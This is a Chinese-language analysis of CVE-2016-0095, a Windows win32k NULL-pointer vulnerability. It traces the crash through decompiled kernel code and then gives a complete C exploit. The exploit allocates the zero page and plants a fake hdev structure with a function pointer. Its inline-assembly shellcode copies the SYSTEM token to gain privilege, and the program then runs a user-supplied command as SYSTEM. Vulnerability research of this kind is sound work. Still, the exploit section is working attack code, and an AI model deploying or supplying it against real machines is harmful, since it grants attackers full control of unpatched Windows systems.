CVE-2016-0095
0x1 前言
这个漏洞曾被4年前的一场SSCTF比赛拿来出过题目,该漏洞利用起来很简单,但是善后工作并不能做得很完善,所以总体来说利用极不稳定。这里也不得不感叹,4年前的CTF比赛就这么硬核了,没有人带着打比赛真的是太难了~
如果仅是作为赛后复盘的话,没必要说清楚漏洞产生,只管利用就好了,但是这里作为分析,所以还是尽可能讲清楚漏洞的前因后果。
0x2 漏洞简介
Microsoft Windows Vista SP2、Windows Server 2008 SP2和R2 SP1、Windows 7 SP1、Windows 8.1、Windows Server 2012 Gold和R2、Windows RT 8.1和Windows 10 Gold和1511的内核模式驱动程序允许本地用户通过精心制作的应用程序获得特权,CVE-2016-0093、CVE-2016-0094和CVE-2016-0096是不同的漏洞。
0x3 影响版本
Windows Vista SP2
Windows Server 2008 SP2
Windows Server 2008 R2 SP1
Windows 7 SP1
Windows 8.1
Windows Server 2012 Gold
Windows Server 2012 R2
Windows RT 8.1
Windows 10 Gold
Windows 10 1511
0x4 漏洞分析
从网上找到了触发漏洞并使系统BSOD的POC(POC参见章末),编译后运行。系统崩溃信息被内核调试器Windbg捕获并记录如下:
00 a1ab3aa0 9e08ba2c 00000000 00000000 9e084e5b win32k!bGetRealizedBrush+0x38
01 a1ab3ab8 9e0ff6fc a1ab3bf8 00000001 a1ab3b7c win32k!pvGetEngRbrush+0x1f
02 a1ab3b1c 9e191161 fd6507c8 00000000 00000000 win32k!EngBitBlt+0x331
03 a1ab3b54 9e19180b fd6507c8 a1ab3b7c a1ab3bf8 win32k!EngPaint+0x51
04 a1ab3d20 83c4e79a 00000000 ffbff968 061008af win32k!NtGdiFillRgn+0x339
<Intermediate frames may have been skipped due to lack of complete unwind>
05 a1ab3d20 76f464f4 (T) 00000000 ffbff968 061008af nt!KiFastCallEntry+0x12a
eax=00000000 ebx=a1ab3bf8 ecx=00000001 edx=00000000 esi=00000000 edi=ff91ac50
eip=9e08ba9b esp=a1ab3a28 ebp=a1ab3aa0 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!bGetRealizedBrush+0x38:
9e08ba9b f6402401 test byte ptr [eax+24h],1 ds:0023:00000024=??
崩溃原因是此时的eax寄存器值为0,指向了无效地址,系统正访问eax随即触发了地址访问违例的异常。异常位置在 w i n 32 k ! b G e t R e a l i z e d B r u s h + 0 x 38 \textcolor{orange}{win32k!bGetRealizedBrush+0x38} win32k!bGetRealizedBrush+0x38
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned int))
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v3 = a1;
if ( *(a1 + 4) == 12 )
return 0;
v5 = a2;
v64 = *(a1 + 4);
v6 = *(a2 + 0xD);
a1 = 0;
v62 = 0;
v63 = 0;
a2 = *(v6 + 0x1C);
v41 = (*(a2 + 0x24) & 1) == 0; // 崩溃点
v66 = 0;
...
}
从**@line:9到@line:15**,系统对a2进行了多级寻址,通过观察这部分的汇编代码
.text:BF83BA88 mov eax, [ebx+34h]
.text:BF83BA8B mov [ebp+arg_0], esi
.text:BF83BA8E mov [ebp+var_2C], esi
.text:BF83BA91 mov [ebp+var_28], 0
.text:BF83BA95 mov eax, [eax+1Ch]
.text:BF83BA98 mov [ebp+arg_4], eax
.text:BF83BA9B test byte ptr [eax+24h], 1
得出 v 41 = [ [ [ a 2 + 0 x 34 ] + 0 x 1 C ] + 0 x 24 ] \textcolor{orange}{v41=[[[a2+0x34]+0x1C]+0x24]} v41=[[[a2+0x34]+0x1C]+0x24],这里显示a2是EBRUSHOBJ结构,但是该结构未公开,所以v41代表的含义未知,我们需要从上层调用中去看看a2的来源。上层函数
PVOID __stdcall pvGetEngRbrush(BRUSHOBJ *BruchObj)
{
PVOID result; // eax
PVOID v2; // eax
result = BruchObj[2].pvRbrush;
if ( !result )
{
if ( bGetRealizedBrush(BruchObj[9].iSolidColor, BruchObj, EngRealizeBrush) )
{
...
}
...
}
...
}
@line:9发现在 b G e t R e a l i z e d B r u s h \textcolor{cornflowerblue}{bGetRealizedBrush} bGetRealizedBrush函数中的参数a2,就是此时的BruchObj,而BruchObj是BRUSHOBJ结构,此结构也未公开,还得往上层分析。
int __stdcall EngBitBlt(struct _SURFOBJ *a1, struct _SURFOBJ *a2, struct _SURFOBJ *a3, struct _CLIPOBJ *a4, struct _XLATEOBJ *a5, struct _RECTL *a6, struct _POINTL *a7, struct _POINTL *a8, struct _BRUSHOBJ *pbo, struct _POINTL *a10, unsigned int a11)
{
...
BrushObj = pbo;
...
if ( pvGetEngRbrush(BrushObj) && *(BrushObj[2].pvRbrush + 5) >= 4u )
{
vDIBPatBlt(v11, a4, a6, BrushObj, a10, 2u);
return 1;
}
...
}
@line:6 p v G e t E n g R b r u s h \textcolor{cornflowerblue}{pvGetEngRbrush} pvGetEngRbrush的参数是BrushObj,而BrushObj是当前函数的第9个参数pbo,由于pbo的结构也是保密的,所以还得往上层分析
int (__stdcall *__thiscall SURFACE::pfnBitBlt(SURFACE *this))(struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _CLIPOBJ *, struct _XLATEOBJ *, struct _RECTL *, struct _POINTL *, struct _POINTL *, struct _BRUSHOBJ *, struct _POINTL *, unsigned int)
{
int (__stdcall *result)(struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _CLIPOBJ *, struct _XLATEOBJ *, struct _RECTL *, struct _POINTL *, struct _POINTL *, struct _BRUSHOBJ *, struct _POINTL *, unsigned int);
if ( (*(this + 72) & 1) != 0 )
result = *(*(this + 7) + 1884);
else
result = EngBitBlt;
return result;
}
这里this参数的结构是有符号保留的,让我们看到了一些希望,还需要再上一层分析
int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, int a3, int a4, int a5)
{
SURFACE *v5; // eax
int (__stdcall *v6)(struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _CLIPOBJ *, struct _XLATEOBJ *, struct _RECTL *, struct _POINTL *, struct _POINTL *, struct _BRUSHOBJ *, struct _POINTL *, unsigned int); // eax
int v8; // [esp-4h] [ebp-8h]
v5 = SURFOBJ_TO_SURFACE(a1);
v8 = gaMix[a5 & 0xF] | (gaMix[(a5 >> 8) & 0xF] << 8);
v6 = SURFACE::pfnBitBlt(v5);
return v6(a1, 0, 0, a2, 0, (a2 + 4), 0, 0, a3, a4, v8);
}
@line:10,当v6为 E n g B i t B l t \textcolor{cornflowerblue}{EngBitBlt} EngBitBlt时, E n g B i t B l t \textcolor{cornflowerblue}{EngBitBlt} EngBitBlt的第6个参数就是当前函数的第三个参数a3,为了溯源a3,还需要再往上一层分析。
int __stdcall NtGdiFrameRgn(HDC a1, HRGN a2, HBRUSH a3, int a4, int a5)
{
...
if ( v9 )
{
bSyncBrushObj(v9);
EBRUSHOBJ::vInitBrush(v15, v31[0], v9, v24, v34, v5, 1);
v15[10] = v31[0] + 156;
if ( (*(v9 + 7) & 0x100) == 0 )
{
v10 = EBRUSHOBJ::mixBest(v15, *(*(v31[0] + 14) + 56), *(*(v31[0] + 14) + 57));
++*(v5 + 56);
EngPaint((v5 + 0x10), &v13, v15, v31[0] + 1592, v10);
v32 = 1;
}
}
...
}
@line:12来源是当前函数的v23,v23会在函数 v I n i t B r u s h \textcolor{cornflowerblue}{vInitBrush} vInitBrush中赋值,现在跟进 v I n i t B r u s h \textcolor{cornflowerblue}{vInitBrush} vInitBrush分析
LONG __thiscall EBRUSHOBJ::vInitBrush(EBRUSHOBJ *this, _DWORD *a2, BRUSH *a3, int a4, _DWORD *a5, int a6, LONG a7)
{
...
*(this + 0xD) = a6;
...
}
此时我们溯源的路径是:
b G e t R e a l i z e d B r u s h ( a 1 , . . . ) < − p v G e t E n g R b r u s h ( B r u c h O b j ) < − E n g B i t B l t ( . . . , p b o , . . . ) < − E n g P a i n t ( . . , a 3 , . . ) < − N t G d i F r a m e R g n ( ) < − E B R U S H O B J : : v I n i t B r u s h ( t h i s , . . , a 6 , . . . ) \textcolor{orange}{bGetRealizedBrush(a1,...)<-pvGetEngRbrush(BruchObj)<-EngBitBlt(...,pbo,...)<-EngPaint(..,a3,..)<-NtGdiFrameRgn()<-EBRUSHOBJ::vInitBrush(this,..,a6,...)} bGetRealizedBrush(a1,...)<−pvGetEngRbrush(BruchObj)<−EngBitBlt(...,pbo,...)<−EngPaint(..,a3,..)<−NtGdiFrameRgn()<−EBRUSHOBJ::vInitBrush(this,..,a6,...)
@line:4 this就是上层函数的v15,顺着我们溯源的路径,最终就是 b G e t R e a l i z e d B r u s h \textcolor{cornflowerblue}{bGetRealizedBrush} bGetRealizedBrush的第一个参数a1。回顾 b G e t R e a l i z e d B r u s h \textcolor{cornflowerblue}{bGetRealizedBrush} bGetRealizedBrush函数中的 v 6 = ∗ ( a 2 + 0 x D ) \textcolor{orange}{v6 = *(a2 + 0xD)} v6=∗(a2+0xD),v6就是当前函数的a6。
[ v 15 + 0 x 34 ] = v 9 \textcolor{orange}{[v15+0x34]=v9} [v15+0x34]=v9,所以 v 9 + 16 = [ v 15 + 0 x 34 ] + 16 \textcolor{orange}{v9+16=[v15+0x34]+16} v9+16=[v15+0x34]+16,是 E n g P a i n t \textcolor{cornflowerblue}{EngPaint} EngPaint的第一个参数。回顾之前分析 b G e t R e a l i z e d B r u s h \textcolor{cornflowerblue}{bGetRealizedBrush} bGetRealizedBrush崩溃位置得到的 v 41 = [ [ [ a 2 + 0 x 34 ] + 0 x 1 C ] + 0 x 24 ] \textcolor{orange}{v41=[[[a2+0x34]+0x1C]+0x24]} v41=[[[a2+0x34]+0x1C]+0x24],结合公开的 _SURFOBJ结构
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
不难得出v41表示的是 h d e v + 0 x 24 \textcolor{orange}{hdev+0x24} hdev+0x24。所以崩溃的根本原因就是在初始化 _SURFOBJ 对象的时候,漏掉了对hdev的初始化,后面直接访问hdev成员就发生了异常。
0x5 漏洞利用
这个漏洞利用起来非常的简单,因为在发生异常的函数里就有一个利用点
int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *a2, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned int))
{
...
v6 = *(a2 + 0xD);
a1 = 0;
v62 = 0;
v63 = 0;
a2 = *(v6 + 0x1C);
v41 = (*(a2 + 0x24) & 1) == 0; // 崩溃点
...
v17 = a2;
...
v20 = *(v17 + 712);
if ( !v20 )
goto LABEL_23;
v21 = (v17 + 0x592);
if ( !*v21 )
goto LABEL_23;
pFn = *(a2 + 0x1D2);
v68 = (*(*(v5 + 13) + 60) == 1) + 1;
if ( pFn ) // 可以利用的点
{
if ( (*(a2 + 9) & 0x8000) == 0 )
v22 = *(a2 + 281);
v24 = pFn(v22, v68, *(v5 + 3), *(v62 + 44));
}
...
}
@line:19在 a 2 [ 0 x 1 D 2 ] \textcolor{orange}{a2[0x1D2]} a2[0x1D2]地方存放着一个函数指针,只要满足两个条件 @line:14和 @line:17,就能调用这个函数。而这里的 a 2 [ 0 x 1 D 2 ] \textcolor{orange}{a2[0x1D2]} a2[0x1D2]等同于 h d e v [ 0 x 1 D 2 ] \textcolor{orange}{hdev[0x1D2]} hdev[0x1D2],hdev因为没有正确初始化,所以是0,也就是说可以通过申请0页地址去构造符合条件的数据。这个漏洞在利用是需要善后的,经过我之前的踩坑发现有两处需要进行善后处理:
-
EngBitBlt(x,x,x,x,x,x,x,x,x,x,x)+46F cmp dword ptr [edi+3Ch], 6 EngBitBlt(x,x,x,x,x,x,x,x,x,x,x)+473 jbe short loc_BF8AF86A
-
83d5bf03 0fb74ffa movzx ecx, word ptr [edi-6] ;nt!ExFreePoolWithTag+0x466
对于1位置好办,从 b G e t R e a l i z e d B r u s h \textcolor{cornflowerblue}{bGetRealizedBrush} bGetRealizedBrush返回时会进行如下操作:
pop esi
pop ebx
pop edi
可知edi在 b G e t R e a l i z e d B r u s h \textcolor{cornflowerblue}{bGetRealizedBrush} bGetRealizedBrush上下文的 e s p + 0 x C \textcolor{orange}{esp+0xC} esp+0xC位置,所以将这个位置的值修改为0,在0页地址伪造数据的时候在0x3C地址写入7,使1处的条件不满足,并以最短的路径返回,减少崩溃的风险。
对于2位置就不好办了,这里不好处理,只要运行完EXP不关闭就没事,一关闭有几率蓝屏。
0x6 EXP
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#ifndef W32KAPI
#define W32KAPI DECLSPEC_ADDRSAFE
#endif
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define PROCESS_LINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
typedef NTSTATUS(WINAPI* NtAllocateVirtualMemory_t)(IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect);
NtAllocateVirtualMemory_t NtAllocateVirtualMemory = 0;
PVOID kifastsystemcall = NULL;
BOOLEAN Init() {
HMODULE hNt= LoadLibraryA("ntdll.dll");
if (!hNt) {
printf("[+]Error:%d\n",__LINE__-2);
return FALSE;
}
kifastsystemcall = (PVOID)GetProcAddress(hNt, "KiFastSystemCall");
if (!kifastsystemcall) {
printf("[+]Error:%d\n", __LINE__ - 2);
return FALSE;
}
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNt, "NtAllocateVirtualMemory");
if (!NtAllocateVirtualMemory)
{
printf("[+]Error:%d\n", __LINE__ - 2);
return FALSE;
}
return TRUE;
}
__declspec(noinline)VOID AttackPayload() {
__asm {
pushad; 保存堆栈状态
xor eax, eax
mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
mov eax, [eax + EPROCESS_OFFSET]
mov ebx, eax; ebx保存的是当前进程的_EPROCESS
mov ecx, SYSTEM_PID
SearchSystemPID :
mov eax, [eax + PROCESS_LINK_OFFSET]
sub eax, PROCESS_LINK_OFFSET
cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
jne SearchSystemPID
; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
popad; 恢复堆栈状态
mov[esp + 0xc], 0; edi = 0
mov eax,1
}
}
unsigned int demo_CreateBitmapIndirect() {
static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
bitmap.bmBits = bits;
//SetLastError(NO_ERROR);
HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
return (unsigned int)hBitmap;
}
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1) {
__asm
{
push argv1;
push argv0;
push 0x00;
mov eax, eSyscall_NtGdiSetBitmapAttributes;
mov edx, kifastsystemcall;
call edx;
add esp, 0x0c;
}
}
BOOLEAN Fake_Hdev() {
//分配0页内存
PVOID baseAddress = (PVOID)1;
ULONG regionsize = 0x1000;
if (NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
&baseAddress,
0,
®ionsize,
MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE)) {
printf("[+]Error:%d\n", __LINE__ - 6);
return FALSE;
}
//构造
*(PDWORD)0x748 = (DWORD)&AttackPayload;
*(PWORD)0x590 = (WORD)1;
*(PWORD)0x592 = (WORD)1;
*(PWORD)0x3C = (WORD)7;
return TRUE;
}
DWORD WINAPI Exploit_Thread(LPVOID lParam) {
HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
RECT rect = { 0 };
rect.left = 0x368c;
rect.top = 0x400000;
HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
return 0;
}
int main(int argc, char** argv) {
if (!Init()) {
printf("[+]Error:%d\n", __LINE__ - 1);
return -1;
}
if (!Fake_Hdev()) {
printf("[+]Error:%d\n", __LINE__ - 1);
return -1;
}
HANDLE hThread = CreateThread(0, 0, Exploit_Thread, 0, 0, 0);
if (!hThread) {
printf("[+]Error:%d\n", __LINE__ - 2);
return -1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
printf("\n[*]Try execute %s as SYSTEM!\n", argv[1]);
system(argv[1]);
system("pause");
return 0;
}
0x7 演示
0x8 参考
https://www.cnblogs.com/leibso-cy/p/11718008.html